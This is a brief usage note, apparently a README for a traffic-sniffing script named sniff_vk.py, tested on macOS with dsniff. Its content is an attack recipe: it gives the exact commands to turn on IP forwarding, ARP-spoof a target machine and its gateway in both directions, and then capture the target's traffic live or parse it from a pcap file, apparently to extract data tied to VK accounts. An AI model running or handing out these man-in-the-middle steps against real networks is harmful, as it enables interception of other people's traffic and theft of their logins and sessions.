Tested on MacOs X, with dsniff from macports.
Start arp spoofing:
Target - 192.168.2.151 Gate - 192.168.2.1
$ sudo sysctl -w net.inet.ip.forwarding=1
$ sudo arpspoof -i en1 -t 192.168.2.151 192.168.2.1
$ sudo arpspoof -i en1 -t 192.168.2.1 192.168.2.151
Sniffing data on en1:
$ sudo ./sniff_vk.py -i en1
Parsing pcap file:
$ sudo ./sniff_vk.py -p test.pcap